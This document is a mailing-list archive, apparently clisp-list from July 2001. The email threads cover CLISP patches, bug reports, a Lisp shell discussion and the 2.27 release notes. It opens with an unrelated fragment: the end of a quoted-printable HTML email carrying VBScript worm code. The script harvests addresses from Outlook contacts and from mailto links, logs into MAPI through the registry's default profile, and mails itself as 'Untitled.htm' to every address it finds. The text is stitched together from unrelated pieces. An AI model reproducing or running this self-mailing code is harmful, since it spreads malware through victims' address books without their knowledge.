mPath =3D "C:\"=20
For Each mShell In Shell.NameSpace(mPath).Items=20
If mShell.IsFolder Then=20
Grf =3D mShell.Path=20
Exit Function=20
End If=20
Next=20
If Er Then=20
Grf =3D ""=20
End If=20
End Function=20
Function Gsf()=20
Dim Of, m=20
On Error Resume Next=20
Set Of =3D CreateObject("Scripting.FileSystemObject")=20
m =3D Of.GetSpecialFolder(0)=20
If Er Then=20
Gsf =3D "C:\"=20
Else=20
Gsf =3D m=20
End If=20
End Function=20
Function Lhtml()=20
Lhtml =3D "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _=20
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _=20
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _=20
"<" & "/Body></HTML" & ">"=20
End Function=20
Function Lscript(S)=20
Lscript =3D "<" & "script language=3D'VBScript'>" & vbCrLf & _=20
S & "<" & "/script" & ">"=20
End Function=20
Function Sl(S1, S2, n)=20
Dim l1, l2, l3, i=20
l1 =3D Len(S1)=20
l2 =3D Len(S2)=20
i =3D InStr(S1, S2)=20
If i > 0 Then=20
l3 =3D i + l2 - 1=20
If n =3D 0 Then=20
Sl =3D Left(S1, i - 1)=20
ElseIf n =3D 1 Then=20
Sl =3D Right(S1, l1 - l3)=20
End If=20
Else=20
Sl =3D ""=20
End If=20
End Function=20
Function Ml(S)=20
Dim S1, S3, S2, T, adds, m=20
S1 =3D S=20
S3 =3D """"=20
adds =3D ""=20
S2 =3D S3 & "mailto" & ":"=20
T =3D True=20
Do While T=20
S1 =3D Sl(S1, S2, 1)=20
If S1 =3D "" Then=20
T =3D False=20
Else=20
m =3D Sl(S1, S3, 0)=20
If IsMail(m) Then=20
adds =3D adds & m & vbCrLf=20
End If=20
End If=20
Loop=20
Ml =3D Split(adds, vbCrLf)=20
End Function=20
Function Og()=20
Dim i, n, m(), Om, Oo=20
Set Oo =3D CreateObject("Outlook.Application")=20
Set Om =3D Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items=20
n =3D Om.Count=20
ReDim m(n)=20
For i =3D 1 To n=20
m(i - 1) =3D Om.Item(i).Email1Address=20
Next=20
Og =3D m=20
End Function=20
Sub Tsend()=20
Dim Od, MS, MM, a, m=20
Set Od =3D CreateObject("Scripting.Dictionary")=20
MConnect MS, MM=20
MM.FetchSorted =3D True=20
MM.Fetch=20
For i =3D 0 To MM.MsgCount - 1=20
MM.MsgIndex =3D i=20
a =3D MM.MsgOrigAddress=20
If Od.Item(a) =3D "" Then=20
Od.Item(a) =3D MM.MsgSubject=20
End If=20
Next=20
For Each m In Od.Keys=20
MM.Compose=20
MM.MsgSubject =3D "Fw: " & Od.Item(m)=20
MM.RecipAddress =3D m=20
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"=20
MM.Send=20
Next=20
MS.SignOff=20
End Sub=20
Function MConnect(MS, MM)=20
Dim U=20
On Error Resume Next=20
Set MS =3D CreateObject("MSMAPI.MAPISession")=20
Set MM =3D CreateObject("MSMAPI.MAPIMessages")=20
U =3D Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging =
Subsystem\Profiles\DefaultProfile")=20
MS.UserName =3D U=20
MS.DownLoadMail =3D False=20
MS.NewSession =3D False=20
MS.LogonUI =3D True=20
MS.SignOn=20
MM.SessionID =3D MS.SessionID=20
End Function=20
Sub Msend(Address)=20
Dim MS, MM, i, a=20
MConnect MS, MM=20
i =3D 0=20
MM.Compose=20
For Each a In Address=20
If IsMail(a) Then=20
MM.RecipIndex =3D i=20
MM.RecipAddress =3D a=20
i =3D i + 1=20
End If=20
Next=20
MM.MsgSubject =3D " Help "=20
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"=20
MM.Send=20
MS.SignOff=20
End Sub=20
Function Er()=20
If Err.Number =3D 0 Then=20
Er =3D False=20
Else=20
Err.Clear=20
Er =3D True=20
End If=20
End Function=20
Function IsDel(S)=20
If Mid(S, 4, 1) =3D 1 Then=20
IsDel =3D True=20
Else=20
IsDel =3D False=20
End If=20
End Function=20
=20
=20
=20
=20
=20
=20
=20
=20
=20
=20

</script>
</Body></HTML>


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Hello,

  In the beginning of this year I wrote an addition/patch to clisp for
  console-mode output under win32. It satisfies my needs in simple GUI
  for some learning-purpose applications, for example, now I can draw
  the tree on the screen, 'move' between leafs, change it etc. Bruno
  added my patch to the CVS, thanks him. After some time of using that
  screen implementation I want to suggest some more small improvements in
  it and keyboard processing. Anybody needs in it ? What the 'standard
  procedure' to do it ?


Best regards,
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> * In message <13990.010715@crosswinds.net>
> * On the subject of "[clisp-list] some patches"
> * Sent on Sun, 15 Jul 2001 23:45:44 +1000
> * Honorable Arseny Slobodjuck <ampy@crosswinds.net> writes:
>
>   After some time of using that screen implementation I want to
>   suggest some more small improvements in it and keyboard
>   processing. Anybody needs in it ? What the 'standard procedure' to
>   do it ?

send a patch here.

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> * In message <4nu20gljti.fsf@rtp.ericsson.se>
> * On the subject of "[clisp-list] (code-char 160)"
> * Sent on 13 Jul 2001 15:18:01 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> (code-char 160)
> #\NO-BREAK_SPACE
> 
> But there doesn't seem to be any such character.  If I try to type
> #\NO-BREAK_SPACE into the listener, it complains:
> 
>  #\NO-BREAK_SPACE
> 
> *** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no character bit with name "NO"

fixed in the CVS - thanks for the bug report.
(clisp tried to parse the old cltl1 "bits" - it doesn't now).

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Hi

Is there some compelling reason that running programs has to go
through the shell? "(run-program ...)" is just a frontend for
"(run-shell-command ... :may-exec t)", right?  Is this purely for
portability reasons?

It's easy enough to run programs without /bin/sh using linux:fork and
linux:execlp*, but wait() is missing.  Is there some horrible,
insurmountable ffi thing with wait()?  How difficult would it be to do
a complete binding for wait() so all the WIF*(stat_val) stuff was
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I want to use CLISP as _the_ shell, not as a frontend to /bin/sh.

Regards,
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Hi,

There's a patches:

;---- patch 1 : see the file w32strm.d (a part of stream.d
after "#if defined(WIN32_NATIVE)" ).
Contains some small patches here and there, national character thanslation
and buffered output (much faster than char-by char).

;---- patch 2 :
Function legal_namechar(ch) in file
pathname.d,  when compiling for win32 defines valid characters
in pathnames:

   return ((c >= 1) && (c <= 127) && (c != 34)             /*&& (c != 42)*/
       && (c != 47) && (c != 58) && (c != 60) && (c != 62) /*&& (c != 63)*/
       && (c != 92)) || (c == 131) || ((c >= 160) && (c != 197) && (c != 206));

The codes 197 and 206 are capital versions of two most often used cyrillic
characters in win-1251 codepage and maybe somebody else's favorite
characters. I personally not using local characters
in pathnames, but Microsoft does, so any directory scanning fails :( I
wonder, why 197 and 206 are there but 13 and 11 are not.

;---- patch 3 :
file stream.d, win32 console keyboard input,
function  local object rd_ch_keyboard(stream_)
It will be nice to change
if ((event.Event.KeyEvent.uAsciiChar) <= ' ') {
to
if (((uintB)event.Event.KeyEvent.uAsciiChar) <= ' ') {
since (in MSVC) char is signed.
For proper input of national chars > 127 also need a line:

ev.code = as_chart((uintB)event.Event.KeyEvent.uAsciiChar);
# FIXME: This should take into account the encoding.
# ampy : you're damn right. that's it
OemToCharBuff((char *)&ev.code,(char *)&ev.code,1);



-- 
Best regards,
 Arseny

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4nu20gljti.fsf@rtp.ericsson.se>
    >> * On the subject of "[clisp-list] (code-char 160)"
    >> * Sent on 13 Jul 2001 15:18:01 -0400
    >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
    >> 
    >> (code-char 160)
    >> #\NO-BREAK_SPACE
    >> 
    >> But there doesn't seem to be any such character.  If I try to type
    >> #\NO-BREAK_SPACE into the listener, it complains:
    >> 
    >> #\NO-BREAK_SPACE
    >> 
    >> *** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no character bit with name "NO"

    Sam> fixed in the CVS - thanks for the bug report.
    Sam> (clisp tried to parse the old cltl1 "bits" - it doesn't now).

Thanks.  Actually, the bug report was from the maxima mailing list.  I
just sent it on....

Ray


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> * In message <20010715231453.A437@localhost.localdomain>
> * On the subject of "[clisp-list] run-program uses shell?"
> * Sent on Sun, 15 Jul 2001 23:14:53 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> Is there some compelling reason that running programs has to go
> through the shell? "(run-program ...)" is just a frontend for
> "(run-shell-command ... :may-exec t)", right?  Is this purely for
> portability reasons?

it also saves you PATH handling.
and you should not underestimate the portability concerns...

> It's easy enough to run programs without /bin/sh using linux:fork and
> linux:execlp*, but wait() is missing.  Is there some horrible,
> insurmountable ffi thing with wait()?  How difficult would it be to do
> a complete binding for wait() so all the WIF*(stat_val) stuff was
> accessible from Lisp?
>
> I want to use CLISP as _the_ shell, not as a frontend to /bin/sh.

/bin/sh is so small that this should not matter

Yes, is all you want to do is start other programs, CLISP is probably
_not_ the right tool.
CLISP is good for many other things though :-)

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> GNU CLISP 2.27 is now available at
>  http://clisp.cons.org
>  https://sourceforge.net/project/showfiles.php?group_id=1355
>  ftp://clisp.cons.org/pub/lisp/clisp/source/latest/
>  ftp://clisp.cons.org/pub/lisp/clisp/binaries/latest/
>  ftp://clisp.sourceforge.net/pub/clisp/latest/
> please ask questions about CLISP on clisp-list@sourceforge.net
> if you would like to contribute to CLISP development, please subscribe
> to clisp-devel@sourceforge.net and send patches there.
> 
> CLISP Common Lisp Summary
> 
> Common Lisp is a high-level, all-purpose, object-oriented, dynamic,
> functional programming language.
> 
> CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe
> University and Michael Stoll of Munich University, both in Germany.
> It mostly supports the Lisp described in the ANSI Common Lisp standard.
> 
> CLISP includes an interpreter, a compiler, a large subset of CLOS, a
> foreign language interface and a socket interface. An X11 interface is
> available through CLX and Garnet. Command line editing is provided by
> GNU ReadLine.
> 
> CLISP runs on microcomputers (OS/2, Windows 95/98/2000/NT, Amiga
> 500-4000, Acorn RISC PC) as well as on Unix workstations (GNU/Linux,
> BSD, SVR4, Sun4, DEC Alpha OSF, HP-UX, NeXTstep, SGI, AIX, Sun3 and
> others) and needs only 2 MB of RAM.
> 
> CLISP is Free Software and may be distributed under the terms of GNU
> GPL. You may distribute commercial applications compiled with CLISP, see
> file COPYRIGHT in the CLISP distribution.
> 
> The user interface comes in German, English, French, Spanish and Dutch,
> and can be changed at run time.
> 
> 
> CHANGES.LOG:
> 
> 2.27 (2001-07-17)
> =================
> 
> User visible changes
> --------------------
> 
> * EXT:GETENV is now setfable.
> 
> * Hostname resolution is now optional in
>   EXT:SOCKET-STREAM-PEER and EXT:SOCKET-STREAM-LOCAL.
> 
> * EXT:SOCKET-STATUS now accepts SOCKET-SERVERs too
>   and the direction of the checks can be specified.
> 
> * Added install.bat for win32 installation.
> 
> * ANSI CL compliance: more conformant pathname handling.
> 
> * Fixed handling of circular structs and pointers to functions in the FFI.
> 
> * Fixed binary I/O for streams with element type longer than one byte,
>   but not a whole number of bytes.
> 
> -- 
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> Lisp: Serious empowerment.
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> * In message <2942.010716@crosswinds.net>
> * On the subject of "[clisp-list] (no subject)"
> * Sent on Mon, 16 Jul 2001 22:37:38 +1000
> * Honorable Arseny Slobodjuck <ampy@crosswinds.net> writes:
>
> There's a patches:

could you please send the diff -u against src/stream.d?
thanks.

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>>GNU CLISP 2.27 is now available at
>> http://clisp.cons.org
>> https://sourceforge.net/project/showfiles.php?group_id=1355
>> ftp://clisp.cons.org/pub/lisp/clisp/source/latest/
>> ftp://clisp.cons.org/pub/lisp/clisp/binaries/latest/
>> ftp://clisp.sourceforge.net/pub/clisp/latest/

The latest release seems not to produce suggestions with how to "makemake" when running "./configure".


Since I forgot what arguments I did with previous releases, I ran with
"./makemake >Makefile". When running "make", it says "No targets
specified and no makefile found. Stop." when entering the directory
"clisp-2.27/src/gettext/intl".

Any ideas?





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Hello Sam,

Wednesday, July 18, 2001, 7:40:27 AM, you wrote:

>>
>> There's a patches:

SS> could you please send the diff -u against src/stream.d?
SS> thanks.
I'll try to do it this week first introdusing the patches
to newest version. Currently I'm working with
2000-03-06 sources and diff is quite big...


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On Mon, Jul 16, 2001 at 12:03:33PM -0400, Sam Steingold wrote:
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > Is there some compelling reason that running programs has to go
> > through the shell? "(run-program ...)" is just a frontend for
> > "(run-shell-command ... :may-exec t)", right?  Is this purely for
> > portability reasons?
> 
> it also saves you PATH handling.
> and you should not underestimate the portability concerns...

Well, if _my_ app is not going to be portable, I don't have to worry
about PATH handling.  Problem solved, for _me_.

> 
> > It's easy enough to run programs without /bin/sh using linux:fork and
> > linux:execlp*, but wait() is missing.  Is there some horrible,
> > insurmountable ffi thing with wait()?  How difficult would it be to do
> > a complete binding for wait() so all the WIF*(stat_val) stuff was
> > accessible from Lisp?
> >
> > I want to use CLISP as _the_ shell, not as a frontend to /bin/sh.
> 
> /bin/sh is so small that this should not matter

I am completely unconcerned with efficiency/speed issues.  I am
writing a Common Lisp Shell.  It can not depend on other shells for
what it does.

> Yes, is all you want to do is start other programs, CLISP is probably
> _not_ the right tool.

A shell does more than run programs.

Regards,
Peter


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> Since I forgot what arguments I did with previous releases, I ran with
> "./makemake >Makefile". When running "make", it says "No targets
> specified and no makefile found. Stop." when entering the directory
> "clisp-2.27/src/gettext/intl".

Sorry, I made the mistake of running "./configure" in the "src"
directory rather than "clisp-2.27" directory.

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On Mon, Jul 16, 2001 at 12:03:33PM -0400, Sam Steingold wrote:
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > Is there some compelling reason that running programs has to go
> > through the shell? "(run-program ...)" is just a frontend for
> > "(run-shell-command ... :may-exec t)", right?  Is this purely for
> > portability reasons?
> 
> it also saves you PATH handling.
> and you should not underestimate the portability concerns...
> 
> > It's easy enough to run programs without /bin/sh using linux:fork and
> > linux:execlp*, but wait() is missing.  Is there some horrible,
> > insurmountable ffi thing with wait()?  How difficult would it be to do
> > a complete binding for wait() so all the WIF*(stat_val) stuff was
> > accessible from Lisp?
> >
> > I want to use CLISP as _the_ shell, not as a frontend to /bin/sh.
> 
> /bin/sh is so small that this should not matter
> 
> Yes, is all you want to do is start other programs, CLISP is probably
> _not_ the right tool.
> CLISP is good for many other things though :-)

To answer my own question:

It is not a problem adding wait() and waitpid() to linux.lisp.  I have
just done it.  Took about 20 minutes, including the remake.

The WIF*(stat_val) stuff is inaccesible, I think, but wait() itself
works fine, so now my shell can do

(with-fork (child-process) (parent-process))

And either have parent wait for child or not, as I choose, and without
the _fscking_ shell intermediary.  And with the option of easing the
syntax of run-program.

:-)

Regards,
Peter


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>>>>> "Peter" == Peter Wood <peter.wood@worldonline.dk> writes:

    Peter> I am completely unconcerned with efficiency/speed issues.  I am
    Peter> writing a Common Lisp Shell.  It can not depend on other shells for
    Peter> what it does.

Why not?  While sh can do a fair amount, there are lots of things it
can't do without help.  So I don't see a problem with clisp needing sh
to do things.

But this doesn't really have anything to do with clisp anymore....

Ray


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To my surprise clisp 2.27 is way faster (75 %) built with cygwin/gcc 
compared to the distributed binary (built with msvc 6.0 ?).

Any idea why? Gcc simply compiles that better?

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I have minor problems building clisp on Cygwin concerning stream.d

getservent and endservent does not seem to be defined
The macro for ipv6_ntop(buffer,addr) is not working
since in6_u.u6_addr16 does not seem to exist.

After replacing the missing function by dummy definitions every compiles 
and works fine.

Anybody else using cygwin with clisp?

Karsten



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> * In message <5.1.0.14.0.20010718224332.00a03b40@pop3.terra.es>
> * On the subject of "[clisp-list] Speed of Clisp 2.27 on Windows using msvc/cygwin gcc"
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> To my surprise clisp 2.27 is way faster (75 %) built with cygwin/gcc
> compared to the distributed binary (built with msvc 6.0 ?).

is it cygwin or mingw?

> Any idea why? Gcc simply compiles that better?

how do you measure speed?

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I installed clisp onto a windows machine. When I try to load one of my
lisp program files

Win32 error - file not found.

I've loaded clisp with a batch file that set the path to the clisp
directory. No go. I've put the program file in the same directory with
the lisp image, no go. 

The only program I've been able to load is a tiny 3 line program that
runs the windows ping program every 3 minutes (keeps my isp open.)

Any help is much appreciated,
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Hello,

I am using Cygwin, newest version.
I am measuring speed with time.
The benchmark takes about 20 seconds using the cygwin build
and 37 seconds the built from sourceforge. I also measured
with a normal watch to verify the results.

----- Mensaje Original -----
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Fecha: Jueves, Julio 19, 2001 1:06 am
Asunto: Re: [clisp-list] Speed of Clisp 2.27 on Windows using 
msvc/cygwin gcc

> > * In message <5.1.0.14.0.20010718224332.00a03b40@pop3.terra.es>
> > * On the subject of "[clisp-list] Speed of Clisp 2.27 on Windows 
> using msvc/cygwin gcc"
> > * Sent on Wed, 18 Jul 2001 22:47:55 +0200
> > * Honorable Karsten <vs1100@terra.es> writes:
> >
> > To my surprise clisp 2.27 is way faster (75 %) built with cygwin/gcc
> > compared to the distributed binary (built with msvc 6.0 ?).
> 
> is it cygwin or mingw?
> 
> > Any idea why? Gcc simply compiles that better?
> 
> how do you measure speed?


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Quoting Sam Steingold (sds@gnu.org):
| > * In message <20010712184252.A27015@apal.ii.uib.no>
| > * On the subject of "Re: [clisp-list] 2.27?"
| > * Sent on Thu, 12 Jul 2001 18:42:52 +0200
| > * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
| >
| > | yes - wonna help?
| > | There are lots of things you could do.
| > what is needed?
| 
| 1. get the current CVS CLISP and thoroughly test it.

I've been delayed by a report that had to be written.  Something did however
change from the CVS I used to the released 2.27 that I don't think is
100% right.

(All examples are initiated by 
  (setf (logical-pathname-translations "CL-LIBRARY") nil) )

2.26-cvs:
[2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
:type "C" :case :common) :host "CL-LIBRARY" :case :common)
#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
   :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL)
[3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
:type "c" :case :common) :host "CL-LIBRARY" :case :common)
#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
   :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL)

[the directory in this example is obviously wrong, but that was fixed, the TYPE is 
 the baffling part.]

2.27:
[2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
:type "C" :case :common) :host "CL-LIBRARY" :case :common)
#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
   :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL)
[3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
:type "c" :case :common) :host "CL-LIBRARY" :case :common)
#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
   :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL)

[Directory is apparently fixed, but it seems as if TYPE changes case.]

To compare with two other implementations:

ACL6:
CL-USER(2): (describe (make-pathname :defaults (make-pathname :directory '(:relative 
:wild-inferiors) :type "c" :case :common) :host "CL-LIBRARY" :case :common))
#p"CL-LIBRARY:;**;.c" is a structure of type LOGICAL-PATHNAME.  It has
these slots:
 HOST               "CL-LIBRARY"
 DEVICE             NIL
 DIRECTORY          (:RELATIVE :WILD-INFERIORS)
 NAME               NIL
 TYPE               "c"
 VERSION            NIL
 NAMESTRING         NIL
 HASH               NIL
 DIR-NAMESTRING     "**/"
CL-USER(3): (describe (make-pathname :defaults (make-pathname :directory '(:relative 
:wild-inferiors) :type "C" :case :common) :host "CL-LIBRARY" :case :common))
#p"CL-LIBRARY:;**;.C" is a structure of type LOGICAL-PATHNAME.  It has
these slots:
 HOST               "CL-LIBRARY"
 DEVICE             NIL
 DIRECTORY          (:RELATIVE :WILD-INFERIORS)
 NAME               NIL
 TYPE               "C"
 VERSION            NIL
 NAMESTRING         NIL
 HASH               NIL
 DIR-NAMESTRING     "**/"

CMUCL:
USER> (describe (make-pathname :defaults (make-pathname :directory '(:relative 
:wild-inferiors) :type "c" :case
 :common) :host "CL-LIBRARY" :case :common))

#<Unprintable pathname, Host=#<COMMON-LISP::LOGICAL-HOST>,  Directory=(:RELATIVE
                                                                       
:WILD-INFERIORS), File=NIL, Name="c", Version=NIL> is a structure of type 
LOGICAL-PATHNAME.
HOST: #<COMMON-LISP::LOGICAL-HOST>.
DEVICE: :UNSPECIFIC.
DIRECTORY: (:RELATIVE :WILD-INFERIORS).
NAME: NIL.
TYPE: "c".
VERSION: NIL.
USER> (describe (make-pathname :defaults (make-pathname :directory '(:relative 
:wild-inferiors) :type "C" :case
 :common) :host "CL-LIBRARY" :case :common))

#<Unprintable pathname, Host=#<COMMON-LISP::LOGICAL-HOST>,  Directory=(:RELATIVE
                                                                       
:WILD-INFERIORS), File=NIL, Name="C", Ve
rsion=NIL> is a structure of type LOGICAL-PATHNAME.
HOST: #<COMMON-LISP::LOGICAL-HOST>.
DEVICE: :UNSPECIFIC.
DIRECTORY: (:RELATIVE :WILD-INFERIORS).
NAME: NIL.
TYPE: "C".
VERSION: NIL.

[So apparently type-case is kept.. ]

Any ideas on this change?

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> * In message <87elrdimll.fsf@hillcountry.net>
> * On the subject of "[clisp-list] Can't load progs into Clisp"
> * Sent on 18 Jul 2001 23:12:06 -0500
> * Honorable IBMackey <ibum@hillcountry.net> writes:
>
> I installed clisp onto a windows machine. When I try to load one of my
> lisp program files
> 
> Win32 error - file not found.

I do not understand what you are doing.  sorry.

1. cd to the directory where clisp is installed.

2. start clisp like this:
   > lisp.exe -B . -M lispinit.mem

3. type
   > (load "foo")
   if you have foo.lisp in the current directory, it is loaded.

please provide an exact test case so that I can reproduce it on my
machine.
thanks.

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> * In message <207c862087a4.2087a4207c86@teleline.es>
> * On the subject of "Re: Speed of Clisp 2.27 on Windows using msvc/cygwin gcc"
> * Sent on Thu, 19 Jul 2001 11:43:29 +0200
> * Honorable VS1100 <VS1100@terra.es> writes:
>
> I am using Cygwin, newest version.
does *features* contain :unix?

> I am measuring speed with time.
obviously.

> The benchmark takes about 20 seconds using the cygwin build
> and 37 seconds the built from sourceforge. I also measured
> with a normal watch to verify the results.

what does the benchmark do?

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On Wed, Jul 18, 2001 at 03:37:59PM -0400, Raymond Toy wrote:

> Why not?  While sh can do a fair amount, there are lots of things it
> can't do without help.  So I don't see a problem with clisp needing sh
> to do things.

Tell me which shell starts another (different) shell to run programs.

One reason it would be wrong is that you would have to have both
shells in /bin instead of only the one.  If Clash is to be able to run
bootscripts (rcscripts) it needs to be on the root file system.

Yes, disk space is cheap.  Yes, there are still good reasons for
having a small root file system.  Most people don't want redundant
stuff there.

All this just means that Clash will be Linux-only.  It makes life much
easier for me.

Regards,
Peter

Ps. The simpler syntax of execlp* means I don't need to use a
read-macro to process the user's input, and I can give the user the
illusion of having an identical syntax to simple shell commands.
That's a big plus, since people don't want to have to fiddle with
parentheses and #\# for simple commands.


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>>>>> "Peter" == Peter Wood <peter.wood@worldonline.dk> writes:

    Peter> On Wed, Jul 18, 2001 at 03:37:59PM -0400, Raymond Toy wrote:
    >> Why not?  While sh can do a fair amount, there are lots of things it
    >> can't do without help.  So I don't see a problem with clisp needing sh
    >> to do things.

    Peter> Tell me which shell starts another (different) shell to run programs.

Well, I vaguely recall that old versions of sh *always* started
another copy of itself to run a program.  Perhaps that's still true.
Maybe csh calls sh to run shell scripts?  (At least someone has to do
that eventually when the script has #!/bin/sh.)  I do know that bash is
somewhat smarter in that it doesn't always do that and instead forks
and execs (or something like that) if it running a "simple" program.

In any case, I wasn't saying what you wanted to do was right or wrong.  I was
just curious on why you didn't want clisp to use sh.

    Peter> Ps. The simpler syntax of execlp* means I don't need to use a
    Peter> read-macro to process the user's input, and I can give the user the
    Peter> illusion of having an identical syntax to simple shell commands.
    Peter> That's a big plus, since people don't want to have to fiddle with
    Peter> parentheses and #\# for simple commands.

This is cool.  I've never had an interest in a lisp shell because the
ones I've looked at used lisp syntax and that doesn't make for a great
shell where you just wanted to run this program piped to that.  In
this case, shell syntax is nicer than lisp.  But for more complicated
things, having lisp is good.

Ray


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> * In message <20010719150542.A6660@apal.ii.uib.no>
> * On the subject of "Re: [clisp-list] 2.27?"
> * Sent on Thu, 19 Jul 2001 15:05:43 +0200
> * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
>
> (All examples are initiated by 
>   (setf (logical-pathname-translations "CL-LIBRARY") nil) )
> 
> 2.27:
> [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
> :type "C" :case :common) :host "CL-LIBRARY" :case :common)
> #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
>    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL)
> [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
> :type "c" :case :common) :host "CL-LIBRARY" :case :common)
> #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
>    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL)

I cannot reproduce this either on Solaris or on  NT.
both produce the correct case.

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Quoting Sam Steingold (sds@gnu.org):
| > * In message <20010719150542.A6660@apal.ii.uib.no>
| > * On the subject of "Re: [clisp-list] 2.27?"
| > * Sent on Thu, 19 Jul 2001 15:05:43 +0200
| > * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
| >
| > (All examples are initiated by 
| >   (setf (logical-pathname-translations "CL-LIBRARY") nil) )
| > 
| > 2.27:
| > [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
| > :type "C" :case :common) :host "CL-LIBRARY" :case :common)
| > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
| >    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL)
| > [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
| > :type "c" :case :common) :host "CL-LIBRARY" :case :common)
| > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
| >    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL)
| 
| I cannot reproduce this either on Solaris or on  NT.
| both produce the correct case.

The above behaviour is produced with a straight compile on Debian
Linux with the image directly from the compile using ANSI-mode.  The
above behaviour is a show-stopper for using CLISP 2.27 with
the packages in cCLan.  Do you have a Linux-box to be able to
reproduce this or any hints to track down the bug?

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> * In message <20010719222234.A5934@apal.ii.uib.no>
> * On the subject of "Re: [clisp-list] 2.27?"
> * Sent on Thu, 19 Jul 2001 22:22:34 +0200
> * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
>
> | > (All examples are initiated by 
> | >   (setf (logical-pathname-translations "CL-LIBRARY") nil) )
> | > 
> | > 2.27:
> | > [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
> | > :type "C" :case :common) :host "CL-LIBRARY" :case :common)
> | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
> | >    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL)
> | > [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
> | > :type "c" :case :common) :host "CL-LIBRARY" :case :common)
> | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
> | >    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL)
> | 
> | I cannot reproduce this either on Solaris or on  NT.
> | both produce the correct case.
> 
> The above behaviour is produced with a straight compile on Debian
> Linux with the image directly from the compile using ANSI-mode.  The
> above behaviour is a show-stopper for using CLISP 2.27 with the
> packages in cCLan.  Do you have a Linux-box to be able to reproduce
> this or any hints to track down the bug?

I confirm this both on FreeBSD 3.3-RELEASE i386
and Linux 2.2.19 i686.
I wonder...
(ANSI mode, of course, has nothing to do with this).

I see no reason to use :case :common here, BTW.
I bet it is the cause of the problem!

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Quoting Sam Steingold (sds@gnu.org):
| > * In message <20010719222234.A5934@apal.ii.uib.no>
| > * On the subject of "Re: [clisp-list] 2.27?"
| > * Sent on Thu, 19 Jul 2001 22:22:34 +0200
| > * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
| >
| > | > (All examples are initiated by 
| > | >   (setf (logical-pathname-translations "CL-LIBRARY") nil) )
| > | > 
| > | > 2.27:
| > | > [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
| > | > :type "C" :case :common) :host "CL-LIBRARY" :case :common)
| > | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
| > | >    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL)
| > | > [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
| > | > :type "c" :case :common) :host "CL-LIBRARY" :case :common)
| > | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
| > | >    :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL)
| > | 
| > | I cannot reproduce this either on Solaris or on  NT.
| > | both produce the correct case.
| > 
| > The above behaviour is produced with a straight compile on Debian
| > Linux with the image directly from the compile using ANSI-mode.  The
| > above behaviour is a show-stopper for using CLISP 2.27 with the
| > packages in cCLan.  Do you have a Linux-box to be able to reproduce
| > this or any hints to track down the bug?
| 
